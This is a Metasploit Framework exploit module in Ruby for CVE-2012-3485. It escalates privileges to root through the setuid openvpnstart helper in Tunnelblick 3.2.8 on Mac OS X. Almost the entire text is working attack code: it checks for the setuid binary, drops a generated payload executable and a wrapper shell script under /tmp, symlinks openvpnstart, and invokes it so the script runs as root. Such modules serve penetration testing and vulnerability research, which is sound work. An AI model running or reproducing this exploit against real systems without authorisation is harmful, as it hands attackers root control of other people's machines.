Setuid Tunnelblick Privilege Escalation

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
 Rank = ExcellentRanking

 include Msf::Exploit::EXE
 include Msf::Post::File
 include Msf::Post::Common

 def initialize(info={})
  super( update_info( info, {
    'Name'           => 'Setuid Tunnelblick Privilege Escalation',
    'Description'    => %q{
      This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
     vulnerability exists in the setuid openvpnstart, where an insufficient
     validation of path names allows execution of arbitrary shell scripts as root.
     This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
     over Mac OS X 10.7.5.
    },
    'References'     =>
     [
      [ 'CVE', '2012-3485' ],
      [ 'EDB', '20443' ],
      [ 'URL', 'http://blog.zx2c4.com/791' ]
     ],
    'License'        => MSF_LICENSE,
    'Author'         =>
     [
      'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
      'juan vazquez'        # Metasploit module
     ],
    'DisclosureDate' => 'Aug 11 2012',
    'Platform'       => 'osx',
    'Arch'           => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes'   => [ 'shell' ],
    'Targets'        =>
     [
      [ 'Tunnelblick 3.2.8 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
      [ 'Tunnelblick 3.2.8 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
     ],
    'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
    'DefaultTarget' => 0
   }))
  register_options([
    # These are not OptPath becuase it's a *remote* path
    OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
    OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
   ], self.class)
 end

 def check
  if not file?(datastore["Tunnelblick"])
   print_error "openvpnstart not found"
   return CheckCode::Safe
  end

  check = session.shell_command_token("find  #{datastore["Tunnelblick"]} -type f -user root -perm -4000")

  if check =~ /openvpnstart/
   return CheckCode::Vulnerable
  end

  return CheckCode::Safe
 end

 def clean
  file_rm(@link)
  cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
 end

 def exploit

  print_status("Creating directory...")
  cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"

  exe_name = rand_text_alpha(8)
  @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
  print_status("Dropping executable #{@exe_file}")
  write_file(@exe_file, generate_payload_exe)
  cmd_exec "chmod +x #{@exe_file}"

  evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
  EOF

  @sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
  print_status("Dropping shell script #{@sh_file}...")
  write_file(@sh_file, evil_sh)
  cmd_exec "chmod +x #{@sh_file}"

  link_name = rand_text_alpha(8)
  @link = "#{datastore["WritableDir"]}/#{link_name}"
  print_status("Creating symlink #{@link}...")
  cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"

  print_status("Running...")
  begin
   cmd_exec "#{@link} OpenVPNInfo 0"
  rescue
   print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
   clean
   return
  end
  print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
 end
end